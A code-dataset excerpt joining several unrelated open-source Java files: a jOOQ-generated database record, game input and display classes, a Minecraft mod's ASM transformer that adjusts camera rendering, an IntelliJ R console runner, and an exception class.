* Notify this cube that it's initial diffuse skylight has been calculated
*/
public void setInitialLightingDone(boolean initialLightingDone) {
this.isInitialLightingDone = initialLightingDone;
this.isModified = true;
}
public void setCubeLoaded() {
this.isCubeLoaded = true;
}
@Override
public boolean isCubeLoaded() {
return this.isCubeLoaded;
}
@Override
public boolean hasLightUpdates() {
LightingManager.CubeLightUpdateInfo info = this.getCubeLightUpdateInfo();
return info != null && info.hasUpdates();
}
public void markEdgeNeedSkyLightUpdate(EnumFacing side) {
this.edgeNeedSkyLightUpdate[side.ordinal()] = true;
}
public boolean hasBeenTicked() {
return ticked;
}
}
| mit |
zbeboy/ISY | src/main/java/top/zbeboy/isy/domain/tables/records/DefenseArrangementRecord.java | 11060 | /*
* This file is generated by jOOQ.
*/
package top.zbeboy.isy.domain.tables.records;
import java.sql.Timestamp;
import javax.annotation.Generated;
import javax.validation.constraints.NotNull;
import javax.validation.constraints.Size;
import org.jooq.Field;
import org.jooq.Record1;
import org.jooq.Record8;
import org.jooq.Row8;
import org.jooq.impl.UpdatableRecordImpl;
import top.zbeboy.isy.domain.tables.DefenseArrangement;
/**
* This class is generated by jOOQ.
*/
@Generated(
value = {
"http://www.jooq.org",
"jOOQ version:3.10.7"
},
comments = "This class is generated by jOOQ"
)
@SuppressWarnings({ "all", "unchecked", "rawtypes" })
public class DefenseArrangementRecord extends UpdatableRecordImpl<DefenseArrangementRecord> implements Record8<String, Timestamp, Timestamp, Timestamp, Timestamp, Integer, String, String> {
private static final long serialVersionUID = 568574029;
/**
* Setter for <code>isy.defense_arrangement.defense_arrangement_id</code>.
*/
public void setDefenseArrangementId(String value) {
set(0, value);
}
/**
* Getter for <code>isy.defense_arrangement.defense_arrangement_id</code>.
*/
@NotNull
@Size(max = 64)
public String getDefenseArrangementId() {
return (String) get(0);
}
/**
* Setter for <code>isy.defense_arrangement.paper_start_time</code>.
*/
public void setPaperStartTime(Timestamp value) {
set(1, value);
}
/**
* Getter for <code>isy.defense_arrangement.paper_start_time</code>.
*/
@NotNull
public Timestamp getPaperStartTime() {
return (Timestamp) get(1);
}
/**
* Setter for <code>isy.defense_arrangement.paper_end_time</code>.
*/
public void setPaperEndTime(Timestamp value) {
set(2, value);
}
/**
* Getter for <code>isy.defense_arrangement.paper_end_time</code>.
*/
@NotNull
public Timestamp getPaperEndTime() {
return (Timestamp) get(2);
}
/**
* Setter for <code>isy.defense_arrangement.defense_start_time</code>.
*/
public void setDefenseStartTime(Timestamp value) {
set(3, value);
}
/**
* Getter for <code>isy.defense_arrangement.defense_start_time</code>.
*/
@NotNull
public Timestamp getDefenseStartTime() {
return (Timestamp) get(3);
}
/**
* Setter for <code>isy.defense_arrangement.defense_end_time</code>.
*/
public void setDefenseEndTime(Timestamp value) {
set(4, value);
}
/**
* Getter for <code>isy.defense_arrangement.defense_end_time</code>.
*/
@NotNull
public Timestamp getDefenseEndTime() {
return (Timestamp) get(4);
}
/**
* Setter for <code>isy.defense_arrangement.interval_time</code>.
*/
public void setIntervalTime(Integer value) {
set(5, value);
}
/**
* Getter for <code>isy.defense_arrangement.interval_time</code>.
*/
@NotNull
public Integer getIntervalTime() {
return (Integer) get(5);
}
/**
* Setter for <code>isy.defense_arrangement.defense_note</code>.
*/
public void setDefenseNote(String value) {
set(6, value);
}
/**
* Getter for <code>isy.defense_arrangement.defense_note</code>.
*/
@Size(max = 100)
public String getDefenseNote() {
return (String) get(6);
}
/**
* Setter for <code>isy.defense_arrangement.graduation_design_release_id</code>.
*/
public void setGraduationDesignReleaseId(String value) {
set(7, value);
}
/**
* Getter for <code>isy.defense_arrangement.graduation_design_release_id</code>.
*/
@NotNull
@Size(max = 64)
public String getGraduationDesignReleaseId() {
return (String) get(7);
}
// -------------------------------------------------------------------------
// Primary key information
// -------------------------------------------------------------------------
/**
* {@inheritDoc}
*/
@Override
public Record1<String> key() {
return (Record1) super.key();
}
// -------------------------------------------------------------------------
// Record8 type implementation
// -------------------------------------------------------------------------
/**
* {@inheritDoc}
*/
@Override
public Row8<String, Timestamp, Timestamp, Timestamp, Timestamp, Integer, String, String> fieldsRow() {
return (Row8) super.fieldsRow();
}
/**
* {@inheritDoc}
*/
@Override
public Row8<String, Timestamp, Timestamp, Timestamp, Timestamp, Integer, String, String> valuesRow() {
return (Row8) super.valuesRow();
}
/**
* {@inheritDoc}
*/
@Override
public Field<String> field1() {
return DefenseArrangement.DEFENSE_ARRANGEMENT.DEFENSE_ARRANGEMENT_ID;
}
/**
* {@inheritDoc}
*/
@Override
public Field<Timestamp> field2() {
return DefenseArrangement.DEFENSE_ARRANGEMENT.PAPER_START_TIME;
}
/**
* {@inheritDoc}
*/
@Override
public Field<Timestamp> field3() {
return DefenseArrangement.DEFENSE_ARRANGEMENT.PAPER_END_TIME;
}
/**
* {@inheritDoc}
*/
@Override
public Field<Timestamp> field4() {
return DefenseArrangement.DEFENSE_ARRANGEMENT.DEFENSE_START_TIME;
}
/**
* {@inheritDoc}
*/
@Override
public Field<Timestamp> field5() {
return DefenseArrangement.DEFENSE_ARRANGEMENT.DEFENSE_END_TIME;
}
/**
* {@inheritDoc}
*/
@Override
public Field<Integer> field6() {
return DefenseArrangement.DEFENSE_ARRANGEMENT.INTERVAL_TIME;
}
/**
* {@inheritDoc}
*/
@Override
public Field<String> field7() {
return DefenseArrangement.DEFENSE_ARRANGEMENT.DEFENSE_NOTE;
}
/**
* {@inheritDoc}
*/
@Override
public Field<String> field8() {
return DefenseArrangement.DEFENSE_ARRANGEMENT.GRADUATION_DESIGN_RELEASE_ID;
}
/**
* {@inheritDoc}
*/
@Override
public String component1() {
return getDefenseArrangementId();
}
/**
* {@inheritDoc}
*/
@Override
public Timestamp component2() {
return getPaperStartTime();
}
/**
* {@inheritDoc}
*/
@Override
public Timestamp component3() {
return getPaperEndTime();
}
/**
* {@inheritDoc}
*/
@Override
public Timestamp component4() {
return getDefenseStartTime();
}
/**
* {@inheritDoc}
*/
@Override
public Timestamp component5() {
return getDefenseEndTime();
}
/**
* {@inheritDoc}
*/
@Override
public Integer component6() {
return getIntervalTime();
}
/**
* {@inheritDoc}
*/
@Override
public String component7() {
return getDefenseNote();
}
/**
* {@inheritDoc}
*/
@Override
public String component8() {
return getGraduationDesignReleaseId();
}
/**
* {@inheritDoc}
*/
@Override
public String value1() {
return getDefenseArrangementId();
}
/**
* {@inheritDoc}
*/
@Override
public Timestamp value2() {
return getPaperStartTime();
}
/**
* {@inheritDoc}
*/
@Override
public Timestamp value3() {
return getPaperEndTime();
}
/**
* {@inheritDoc}
*/
@Override
public Timestamp value4() {
return getDefenseStartTime();
}
/**
* {@inheritDoc}
*/
@Override
public Timestamp value5() {
return getDefenseEndTime();
}
/**
* {@inheritDoc}
*/
@Override
public Integer value6() {
return getIntervalTime();
}
/**
* {@inheritDoc}
*/
@Override
public String value7() {
return getDefenseNote();
}
/**
* {@inheritDoc}
*/
@Override
public String value8() {
return getGraduationDesignReleaseId();
}
/**
* {@inheritDoc}
*/
@Override
public DefenseArrangementRecord value1(String value) {
setDefenseArrangementId(value);
return this;
}
/**
* {@inheritDoc}
*/
@Override
public DefenseArrangementRecord value2(Timestamp value) {
setPaperStartTime(value);
return this;
}
/**
* {@inheritDoc}
*/
@Override
public DefenseArrangementRecord value3(Timestamp value) {
setPaperEndTime(value);
return this;
}
/**
* {@inheritDoc}
*/
@Override
public DefenseArrangementRecord value4(Timestamp value) {
setDefenseStartTime(value);
return this;
}
/**
* {@inheritDoc}
*/
@Override
public DefenseArrangementRecord value5(Timestamp value) {
setDefenseEndTime(value);
return this;
}
/**
* {@inheritDoc}
*/
@Override
public DefenseArrangementRecord value6(Integer value) {
setIntervalTime(value);
return this;
}
/**
* {@inheritDoc}
*/
@Override
public DefenseArrangementRecord value7(String value) {
setDefenseNote(value);
return this;
}
/**
* {@inheritDoc}
*/
@Override
public DefenseArrangementRecord value8(String value) {
setGraduationDesignReleaseId(value);
return this;
}
/**
* {@inheritDoc}
*/
@Override
public DefenseArrangementRecord values(String value1, Timestamp value2, Timestamp value3, Timestamp value4, Timestamp value5, Integer value6, String value7, String value8) {
value1(value1);
value2(value2);
value3(value3);
value4(value4);
value5(value5);
value6(value6);
value7(value7);
value8(value8);
return this;
}
// -------------------------------------------------------------------------
// Constructors
// -------------------------------------------------------------------------
/**
* Create a detached DefenseArrangementRecord
*/
public DefenseArrangementRecord() {
super(DefenseArrangement.DEFENSE_ARRANGEMENT);
}
/**
* Create a detached, initialised DefenseArrangementRecord
*/
public DefenseArrangementRecord(String defenseArrangementId, Timestamp paperStartTime, Timestamp paperEndTime, Timestamp defenseStartTime, Timestamp defenseEndTime, Integer intervalTime, String defenseNote, String graduationDesignReleaseId) {
super(DefenseArrangement.DEFENSE_ARRANGEMENT);
set(0, defenseArrangementId);
set(1, paperStartTime);
set(2, paperEndTime);
set(3, defenseStartTime);
set(4, defenseEndTime);
set(5, intervalTime);
set(6, defenseNote);
set(7, graduationDesignReleaseId);
}
}
| mit |
taragu/duke-compsci | oogasalad/src/gameengine/Control.java | 1482 | package gameengine;
import java.util.Map;
import util.ErrorLogger;
import util.Reflection;
/**
* Set and store user-defined controls
*
* @author Tara
*
*/
public class Control {
/* user defined keys */
private static int myKeyUp;
private static int myKeyDown;
private static int myKeyLeft;
private static int myKeyRight;
/**
* Constructor for Control class
*
* @param keyMap
*/
public Control (Map<String, Integer> keyMap) {
myKeyUp = jgame.impl.JGEngineInterface.KeyUp;
myKeyDown = jgame.impl.JGEngineInterface.KeyDown;
myKeyLeft = jgame.impl.JGEngineInterface.KeyLeft;
myKeyRight = jgame.impl.JGEngineInterface.KeyRight;
ErrorLogger.writeToLog("Control constructor: keys are set to " + myKeyUp + ", " +
myKeyDown + ", etc", "info");
// sets the user defined keys at the same time
if (keyMap != null) {
setKeys(keyMap);
}
}
private void setKeys (Map<String, Integer> keyMap) {
for (String thisKey : keyMap.keySet()) {
Reflection.callMethod(this, thisKey, keyMap.get(thisKey));
}
}
public static int getKeyUp () {
return myKeyUp;
}
public static int getKeyDown () {
return myKeyDown;
}
public static int getKeyLeft () {
return myKeyLeft;
}
public static int getKeyRight () {
return myKeyRight;
}
}
| mit |
Recursively/redmf | src/view/DisplayManager.java | 4758 | package view;
import org.lwjgl.LWJGLException;
import org.lwjgl.Sys;
import org.lwjgl.opengl.*;
/**
* Display management class used to handle the resolution and FPS of the game.
* <p/>
* Arguably this class could be in the model, however it fits nicely here and the resolution
* and fps values are static for the time being
*
* @author Marcel van Workum - 300313949
*/
public class DisplayManager {
/**
* Whether the Display should use VSync to smooth out vertical tearing
*/
public static final boolean VSYNC_ENABLED = true;
// Game window parameters
private static int WIDTH = 1280;
private static int HEIGHT = 720;
private static final int FPS_CAP = 120;
private static final String GAME_TITLE = "Gitman: An EXCEPTIONal Adventure";
// Used to calculate the tick rate of the game and lock to 60 ticks per second
private static long lastFrameTime;
private static float delta;
/**
* Create a Display window with the specified resolution and fps cap
* <p/>
* And fullscreen
*
* @param fullscreen the fullscreen
*/
public static void createDisplay(boolean fullscreen) {
ContextAttribs attribs = new ContextAttribs(3, 2)
.withForwardCompatible(true).withProfileCore(true);
try {
if (fullscreen) {
// Parse the display mode
DisplayMode current = getDisplayMode();
// Gets width and height
WIDTH = current.getWidth();
HEIGHT = current.getHeight();
// Create full screen display
Display.setDisplayMode(current);
Display.setFullscreen(true);
Display.create(new PixelFormat(), attribs);
} else {
// Create windowed display
Display.setDisplayMode(new DisplayMode(WIDTH, HEIGHT));
Display.create(new PixelFormat(), attribs);
}
Display.setTitle(GAME_TITLE);
// For smoothness
Display.setVSyncEnabled(VSYNC_ENABLED);
} catch (LWJGLException e) {
System.err.println("Failed to create GL Display");
}
// Initialise the viewport
GL11.glViewport(0, 0, WIDTH, HEIGHT);
lastFrameTime = getCurrentTime();
}
/**
* Parses the display mode.
* <p/>
* Tries to get a 720p display, otherwise it will default to lowest res possible
*
* @return DisplayMode parsed
*/
private static DisplayMode getDisplayMode() {
DisplayMode[] modes = new DisplayMode[0];
try {
modes = Display.getAvailableDisplayModes();
} catch (LWJGLException e) {
System.err.println("Failed to get display modes");
}
DisplayMode current = modes[0];
for (DisplayMode mode : modes) {
current = mode;
}
// Try get a 720p display mode
for (DisplayMode d : modes) {
if (d.getWidth() == 1280) {
current = d;
}
}
return current;
}
/**
* Tick method for the display which updates the content of the Display window
*/
public static void updateDisplay() {
// lock framerate
Display.sync(FPS_CAP);
Display.update();
// Update tick time information
long currentFrameTime = getCurrentTime();
delta = (currentFrameTime - lastFrameTime) / 1000f;
lastFrameTime = currentFrameTime;
}
/**
* Gets the time delta since the last tick
*
* @return tick delta
*/
public static float getFrameTimeSeconds() {
return delta;
}
/**
* Closes the LWJGL Display window
*/
public static void closeDisplay() {
Display.destroy();
}
/**
* Gets the current time in seconds
*
* @return time in seconds
*/
private static long getCurrentTime() {
return Sys.getTime() * 1000 / Sys.getTimerResolution();
}
// TEST METHODS
/**
* Creates a test display to initialise the open gl context
*/
public static void createTestDisplay() {
ContextAttribs attribs = new ContextAttribs(3, 2)
.withForwardCompatible(true).withProfileCore(true);
try {
Display.setDisplayMode(new DisplayMode(0, 0));
Display.create(new PixelFormat(), attribs);
} catch (LWJGLException e) {
e.printStackTrace();
}
GL11.glViewport(0, 0, 1, 1);
}
}
| mit |
sabarjp/ShoulderSurfing | src/r164__mc1_6_4/src/minecraft/com/teamderpy/shouldersurfing/asm/ShoulderTransformations.java | 16403 | package com.teamderpy.shouldersurfing.asm;
import static org.objectweb.asm.Opcodes.*;
import java.util.HashMap;
import java.util.Iterator;
import java.util.logging.Logger;
import org.objectweb.asm.ClassReader;
import org.objectweb.asm.ClassWriter;
import org.objectweb.asm.Label;
import org.objectweb.asm.tree.AbstractInsnNode;
import org.objectweb.asm.tree.ClassNode;
import org.objectweb.asm.tree.FieldInsnNode;
import org.objectweb.asm.tree.InsnList;
import org.objectweb.asm.tree.InsnNode;
import org.objectweb.asm.tree.IntInsnNode;
import org.objectweb.asm.tree.JumpInsnNode;
import org.objectweb.asm.tree.LabelNode;
import org.objectweb.asm.tree.LineNumberNode;
import org.objectweb.asm.tree.MethodInsnNode;
import org.objectweb.asm.tree.MethodNode;
import org.objectweb.asm.tree.VarInsnNode;
import com.teamderpy.shouldersurfing.ShoulderSurfing;
import cpw.mods.fml.common.FMLLog;
import net.minecraft.launchwrapper.IClassTransformer;
/**
* @author Joshua Powers <jsh.powers@yahoo.com>
* @version 1.5
* @since 2013-11-17
*/
public class ShoulderTransformations implements IClassTransformer
{
private final HashMap obfStrings;
private final HashMap mcpStrings;
public static final int CODE_MODIFICATIONS = 3;
public static int modifications = 0;
public ShoulderTransformations()
{
if(ShoulderSurfing.logger == null){
ShoulderSurfing.logger = Logger.getLogger("ShoulderSurfing");
ShoulderSurfing.logger.setParent(FMLLog.getLogger());
}
obfStrings = new HashMap();
mcpStrings = new HashMap();
/* net.minecraft.client.renderer.EntityRenderer orientCamera
* MD: ban/g (F)V net/minecraft/src/EntityRenderer/func_78467_g (F)V
*/
registerMapping("EntityRendererClass", "net.minecraft.client.renderer.EntityRenderer", "bfe");
registerMapping("EntityRendererJavaClass", "net/minecraft/client/renderer/EntityRenderer", "bfe");
registerMapping("EntityLivingJavaClass", "net/minecraft/entity/EntityLivingBase" , "of");
registerMapping("EntityJavaClass", "net/minecraft/entity/Entity" , "nn");
registerMapping("orientCameraMethod", "orientCamera" , "g");
registerMapping("rotationYawField", "rotationYaw" , "A");
registerMapping("rotationPitchField", "rotationPitch" , "B");
registerMapping("SHOULDER_ROTATIONField", "SHOULDER_ROTATION" , "SHOULDER_ROTATION");
registerMapping("SHOULDER_ZOOM_MODField", "SHOULDER_ZOOM_MOD" , "SHOULDER_ZOOM_MOD");
registerMapping("InjectionDelegationJavaClass", "com/teamderpy/shouldersurfing/asm/InjectionDelegation" , "com/teamderpy/shouldersurfing/asm/InjectionDelegation");
registerMapping("ShoulderRenderBinJavaClass", "com/teamderpy/shouldersurfing/renderer/ShoulderRenderBin" , "com/teamderpy/shouldersurfing/renderer/ShoulderRenderBin");
/* net.minecraft.client.renderer.EntityRenderer renderWorld
* MD: ban/a (FJ)V net/minecraft/src/EntityRenderer/func_78471_a (FJ)V
*/
registerMapping("renderWorldMethod", "renderWorld" , "a");
registerMapping("clippingHelperImplJavaClass", "net/minecraft/client/renderer/culling/ClippingHelperImpl", "bfu");
registerMapping("clippingHelperJavaClass", "net/minecraft/client/renderer/culling/ClippingHelper" , "bfw");
registerMapping("clippingHelperGetInstanceMethod", "getInstance" , "a");
/* net.minecraft.client.gui.GuiIngame renderGameOverlay
* M D: atr/a (FZII)V net/minecraft/src/GuiIngame/func_73830_a (FZII)V
*/
registerMapping("GuiIngameClass", "net.minecraft.client.gui.GuiIngame", "avj");
registerMapping("GuiIngameJavaClass", "net/minecraft/client/gui/GuiIngame", "avj");
registerMapping("GuiJavaClass", "net/minecraft/client/gui/Gui" , "avk");
registerMapping("renderGameOverlayMethod", "renderGameOverlay" , "a");
registerMapping("drawTexturedModalRectMethod", "drawTexturedModalRect" , "b");
/* net.minecraft.client.renderer.entity.RenderPlayer renderPlayer
*/
registerMapping("RenderPlayerClass", "net.minecraft.client.renderer.entity.RenderPlayer", "bhj");
registerMapping("RenderPlayerJavaClass", "net/minecraft/client/renderer/entity/RenderPlayer", "bhj");
registerMapping("renderPlayerMethod", "renderPlayer" , "a");
registerMapping("EntityPlayerJavaClass", "net/minecraft/entity/player/EntityPlayer" , "uf");
}
@Override
public byte[] transform(String name, String transformedName, byte[] bytes)
{
//This lets us transform code whether or not it is obfuscated yet
if (name.equals(obfStrings.get("EntityRendererClass")))
{
ShoulderSurfing.logger.info("Injecting into obfuscated code - EntityRendererClass");
return transformEntityRenderClass(bytes, obfStrings);
}
else if (name.equals(mcpStrings.get("EntityRendererClass")))
{
ShoulderSurfing.logger.info("Injecting into non-obfuscated code - EntityRendererClass");
return transformEntityRenderClass(bytes, mcpStrings);
}
//this next section uses a forge event now
//
//else if (name.equals(obfStrings.get("GuiIngameClass")))
//{
// ShoulderSurfing.logger.info("Injecting into obfuscated code");
// return transformGuiIngameClass(bytes, obfStrings);
//}
//else if (name.equals(mcpStrings.get("GuiIngameClass")))
//{
// ShoulderSurfing.logger.info("Injecting into non-obfuscated code");
// return transformGuiIngameClass(bytes, mcpStrings);
//}
//else if (name.equals(obfStrings.get("RenderPlayerClass")))
//{
// ShoulderSurfing.logger.info("Injecting into obfuscated code - RenderPlayerClass");
// return transformRenderPlayerClass(bytes, obfStrings);
//}
//else if (name.equals(mcpStrings.get("RenderPlayerClass")))
//{
// ShoulderSurfing.logger.info("Injecting into non-obfuscated code - RenderPlayerClass");
// return transformRenderPlayerClass(bytes, mcpStrings);
//}
return bytes;
}
@Deprecated
private byte[] transformRenderPlayerClass(byte[] bytes, HashMap hm)
{
ShoulderSurfing.logger.info("Attempting class transformation against RenderPlayer");
ClassNode classNode = new ClassNode();
ClassReader classReader = new ClassReader(bytes);
classReader.accept(classNode, 0);
//Find method
Iterator<MethodNode> methods = classNode.methods.iterator();
while (methods.hasNext())
{
MethodNode m = methods.next();
if (m.name.equals(hm.get("renderPlayerMethod")) && m.desc.equals("(L" + hm.get("EntityPlayerJavaClass") + ";DDDFF)V"))
{
ShoulderSurfing.logger.info("Located method " + m.name + m.desc + ", locating signature");
int offset = 0;
ShoulderSurfing.logger.info("Located offset @ " + offset);
LabelNode label1 = new LabelNode(new Label());
LabelNode label2 = new LabelNode(new Label());
InsnList hackCode = new InsnList();
hackCode.add(new FieldInsnNode(GETSTATIC, (String) hm.get("ShoulderRenderBinJavaClass"), "skipPlayerRender", "Z"));
hackCode.add(new JumpInsnNode(IFEQ, label1));
hackCode.add(label2);
hackCode.add(new InsnNode(RETURN));
hackCode.add(label1);
m.instructions.insertBefore(m.instructions.get(offset+1), hackCode);
ShoulderSurfing.logger.info("Injected code for close view render skipping!");
modifications++;
}
}
ClassWriter writer = new ClassWriter(ClassWriter.COMPUTE_MAXS);
classNode.accept(writer);
return writer.toByteArray();
}
@Deprecated
private byte[] transformGuiIngameClass(byte[] bytes, HashMap hm)
{
ShoulderSurfing.logger.info("Attempting class transformation against GuiIngame");
ClassNode classNode = new ClassNode();
ClassReader classReader = new ClassReader(bytes);
classReader.accept(classNode, 0);
//Find method
Iterator<MethodNode> methods = classNode.methods.iterator();
while (methods.hasNext())
{
MethodNode m = methods.next();
if (m.name.equals(hm.get("renderGameOverlayMethod")) && m.desc.equals("(FZII)V"))
{
ShoulderSurfing.logger.info("Located method " + m.name + m.desc + ", locating signature");
//Locate first injection point, where the crosshairs is drawn
InsnList searchList = new InsnList();
searchList.add(new VarInsnNode(ALOAD, 0));
searchList.add(new VarInsnNode(ILOAD, 6));
searchList.add(new InsnNode(ICONST_2));
searchList.add(new InsnNode(IDIV));
searchList.add(new IntInsnNode(BIPUSH, 7));
searchList.add(new InsnNode(ISUB));
searchList.add(new VarInsnNode(ILOAD, 7));
searchList.add(new InsnNode(ICONST_2));
searchList.add(new InsnNode(IDIV));
searchList.add(new IntInsnNode(BIPUSH, 7));
searchList.add(new InsnNode(ISUB));
searchList.add(new InsnNode(ICONST_0));
searchList.add(new InsnNode(ICONST_0));
searchList.add(new IntInsnNode(BIPUSH, 16));
searchList.add(new IntInsnNode(BIPUSH, 16));
searchList.add(new MethodInsnNode(INVOKEVIRTUAL , (String) hm.get("GuiIngameJavaClass"), (String) hm.get("drawTexturedModalRectMethod"), "(IIIIII)V"));
int offset = ShoulderASMHelper.locateOffset(m.instructions, searchList);
if(offset == -1){
ShoulderSurfing.logger.severe("Failed to locate offset in " + m.name + m.desc + "! Is base file changed?");
return bytes;
} else {
ShoulderSurfing.logger.info("Located offset @ " + offset);
InsnList hackCode = new InsnList();
hackCode.add(new VarInsnNode(ALOAD, 0));
hackCode.add(new VarInsnNode(FLOAD, 1));
hackCode.add(new MethodInsnNode(INVOKESTATIC, (String) hm.get("InjectionDelegationJavaClass"), "drawCrosshairs", "(L" + (String) hm.get("GuiJavaClass") + ";F)V"));
hackCode.add(new LabelNode(new Label()));
m.instructions.insertBefore(m.instructions.get(offset+1), hackCode);
//ShoulderASMHelper.removeLastNInstructions(m.instructions, offset, 16);
ShoulderSurfing.logger.info("Injected code for cross-hairs drawing!");
modifications++;
}
}
}
ClassWriter writer = new ClassWriter(ClassWriter.COMPUTE_MAXS);
classNode.accept(writer);
return writer.toByteArray();
}
private byte[] transformEntityRenderClass(byte[] bytes, HashMap hm)
{
ShoulderSurfing.logger.info("Attempting class transformation against EntityRender");
ClassNode classNode = new ClassNode();
ClassReader classReader = new ClassReader(bytes);
classReader.accept(classNode, 0);
//Find method
Iterator<MethodNode> methods = classNode.methods.iterator();
while (methods.hasNext())
{
MethodNode m = methods.next();
if (m.name.equals(hm.get("orientCameraMethod")) && m.desc.equals("(F)V"))
{
ShoulderSurfing.logger.info("Located method " + m.name + m.desc + ", locating signature");
//Locate injection point, after the yaw and pitch fields in the camera function
InsnList searchList = new InsnList();
searchList.add(new VarInsnNode(ALOAD, 2));
searchList.add(new FieldInsnNode(GETFIELD, (String) hm.get("EntityLivingJavaClass"), (String) hm.get("rotationYawField"), "F"));
searchList.add(new VarInsnNode(FSTORE, 13));
searchList.add(new VarInsnNode(ALOAD, 2));
searchList.add(new FieldInsnNode(GETFIELD, (String) hm.get("EntityLivingJavaClass"), (String) hm.get("rotationPitchField"), "F"));
searchList.add(new VarInsnNode(FSTORE, 12));
int offset = ShoulderASMHelper.locateOffset(m.instructions, searchList);
if(offset == -1){
ShoulderSurfing.logger.severe("Failed to locate first of two offsets in " + m.name + m.desc + "! Is base file changed?");
return bytes;
} else {
ShoulderSurfing.logger.info("Located offset @ " + offset);
InsnList hackCode = new InsnList();
hackCode.add(new VarInsnNode(FLOAD, 13));
hackCode.add(new MethodInsnNode(INVOKESTATIC, (String) hm.get("InjectionDelegationJavaClass"), "getShoulderRotation", "()F"));
hackCode.add(new InsnNode(FADD));
hackCode.add(new VarInsnNode(FSTORE, 13));
hackCode.add(new VarInsnNode(DLOAD, 10));
hackCode.add(new MethodInsnNode(INVOKESTATIC, (String) hm.get("InjectionDelegationJavaClass"), "getShoulderZoomMod", "()F"));
hackCode.add(new InsnNode(F2D));
hackCode.add(new InsnNode(DMUL));
hackCode.add(new VarInsnNode(DSTORE, 10));
hackCode.add(new LabelNode(new Label()));
m.instructions.insertBefore(m.instructions.get(offset+1), hackCode);
ShoulderSurfing.logger.info("Injected code for camera orientation!");
modifications++;
}
//Locate second injection point, after the reverse raytrace is performed
searchList = new InsnList();
searchList.add(new VarInsnNode(DSTORE, 25));
searchList.add(new VarInsnNode(DLOAD, 25));
offset = ShoulderASMHelper.locateOffset(m.instructions, searchList);
if(offset == -1){
ShoulderSurfing.logger.severe("Failed to locate second of two offsets in " + m.name + m.desc + "! Is base file changed?");
return bytes;
} else {
ShoulderSurfing.logger.info("Located offset @ " + offset);
InsnList hackCode = new InsnList();
hackCode.add(new VarInsnNode(DLOAD, 25));
hackCode.add(new MethodInsnNode(INVOKESTATIC, (String) hm.get("InjectionDelegationJavaClass"), "verifyReverseBlockDist", "(D)V"));
hackCode.add(new LabelNode(new Label()));
m.instructions.insertBefore(m.instructions.get(offset), hackCode);
ShoulderSurfing.logger.info("Injected code for camera distance check!");
modifications++;
}
} else if (m.name.equals(hm.get("renderWorldMethod")) && m.desc.equals("(FJ)V")){
ShoulderSurfing.logger.info("Located method " + m.name + m.desc + ", locating signature");
//Locate injection point, after the clipping helper returns an instance
InsnList searchList = new InsnList();
searchList.add(new MethodInsnNode(INVOKESTATIC , (String) hm.get("clippingHelperImplJavaClass"), (String) hm.get("clippingHelperGetInstanceMethod"), "()L" + (String) hm.get("clippingHelperJavaClass") + ";"));
searchList.add(new InsnNode(POP));
int offset = ShoulderASMHelper.locateOffset(m.instructions, searchList);
if(offset == -1){
ShoulderSurfing.logger.severe("Failed to locate offset in " + m.name + m.desc + "! Is base file changed?");
return bytes;
} else {
ShoulderSurfing.logger.info("Located offset @ " + offset);
InsnList hackCode = new InsnList();
hackCode.add(new MethodInsnNode(INVOKESTATIC, (String) hm.get("InjectionDelegationJavaClass"), "calculateRayTraceProjection", "()V"));
hackCode.add(new LabelNode(new Label()));
m.instructions.insertBefore(m.instructions.get(offset+1), hackCode);
ShoulderSurfing.logger.info("Injected code for ray trace projection!");
modifications++;
}
}
}
ClassWriter writer = new ClassWriter(ClassWriter.COMPUTE_MAXS);
classNode.accept(writer);
return writer.toByteArray();
}
private void registerMapping(String key, String normalValue, String obfuscatedValue){
mcpStrings.put(key, normalValue);
obfStrings.put(key, obfuscatedValue);
}
}
| mit |
ktisha/TheRPlugin | src/com/jetbrains/ther/console/TheRConsoleRunner.java | 2943 | package com.jetbrains.ther.console;
import com.intellij.execution.ExecutionException;
import com.intellij.execution.configurations.GeneralCommandLine;
import com.intellij.execution.console.LanguageConsoleImpl;
import com.intellij.execution.console.LanguageConsoleView;
import com.intellij.execution.console.ProcessBackedConsoleExecuteActionHandler;
import com.intellij.execution.process.ColoredProcessHandler;
import com.intellij.execution.process.OSProcessHandler;
import com.intellij.execution.runners.AbstractConsoleRunnerWithHistory;
import com.intellij.openapi.project.Project;
import com.intellij.openapi.util.SystemInfo;
import com.intellij.openapi.util.text.StringUtil;
import com.jetbrains.ther.TheRLanguage;
import com.jetbrains.ther.debugger.data.TheRInterpreterConstants;
import com.jetbrains.ther.interpreter.TheRInterpreterService;
import org.jetbrains.annotations.NotNull;
import org.jetbrains.annotations.Nullable;
public class TheRConsoleRunner extends AbstractConsoleRunnerWithHistory<LanguageConsoleView> {
public TheRConsoleRunner(@NotNull final Project project, @Nullable final String workingDir) {
super(project, "The R Console", workingDir);
}
@NotNull
@Override
protected LanguageConsoleView createConsoleView() {
final LanguageConsoleImpl console = new LanguageConsoleImpl(getProject(), getConsoleTitle(), TheRLanguage.getInstance());
console.setPrompt(null);
return console;
}
@NotNull
@Override
protected Process createProcess() throws ExecutionException {
return getCommandLine(getInterpreterPath()).createProcess();
}
@NotNull
@Override
protected OSProcessHandler createProcessHandler(@NotNull final Process process) {
final String commandLine = getCommandLine(TheRInterpreterService.getInstance().getInterpreterPath()).getCommandLineString();
return new ColoredProcessHandler(process, commandLine);
}
@NotNull
@Override
protected ProcessBackedConsoleExecuteActionHandler createExecuteActionHandler() {
final ProcessBackedConsoleExecuteActionHandler handler = new ProcessBackedConsoleExecuteActionHandler(getProcessHandler(), false);
handler.setAddCurrentToHistory(false);
return handler;
}
@NotNull
private GeneralCommandLine getCommandLine(@NotNull final String exePath) {
return new GeneralCommandLine()
.withExePath(exePath)
.withParameters(TheRInterpreterConstants.QUIET_PARAMETER, SystemInfo.isWindows ? "--ess" : "--interactive")
.withWorkDirectory(getWorkingDir())
.withParentEnvironmentType(GeneralCommandLine.ParentEnvironmentType.CONSOLE);
}
@NotNull
private String getInterpreterPath() throws ExecutionException {
final String interpreterPath = TheRInterpreterService.getInstance().getInterpreterPath();
if (StringUtil.isEmptyOrSpaces(interpreterPath)) {
throw new ExecutionException("The R interpreter is not specified");
}
return interpreterPath;
}
}
| mit |
hivsuper/dailylogv2 | dailylog-web/src/main/java/org/lxp/dailylog/exception/DailylogException.java | 503 | package org.lxp.dailylog.exception;
public abstract class DailylogException extends Exception {
private static final long serialVersionUID = 1L;
private CodeEnum codeEnum;
public DailylogException(CodeEnum codeEnum, String msg) {
super(msg);
this.codeEnum = codeEnum;
}
public DailylogException(CodeEnum codeEnum) {
super(codeEnum.getMessage());
this.codeEnum = codeEnum;
}
public CodeEnum getCodeEnum() {
return codeEnum;
}
}
| mit |
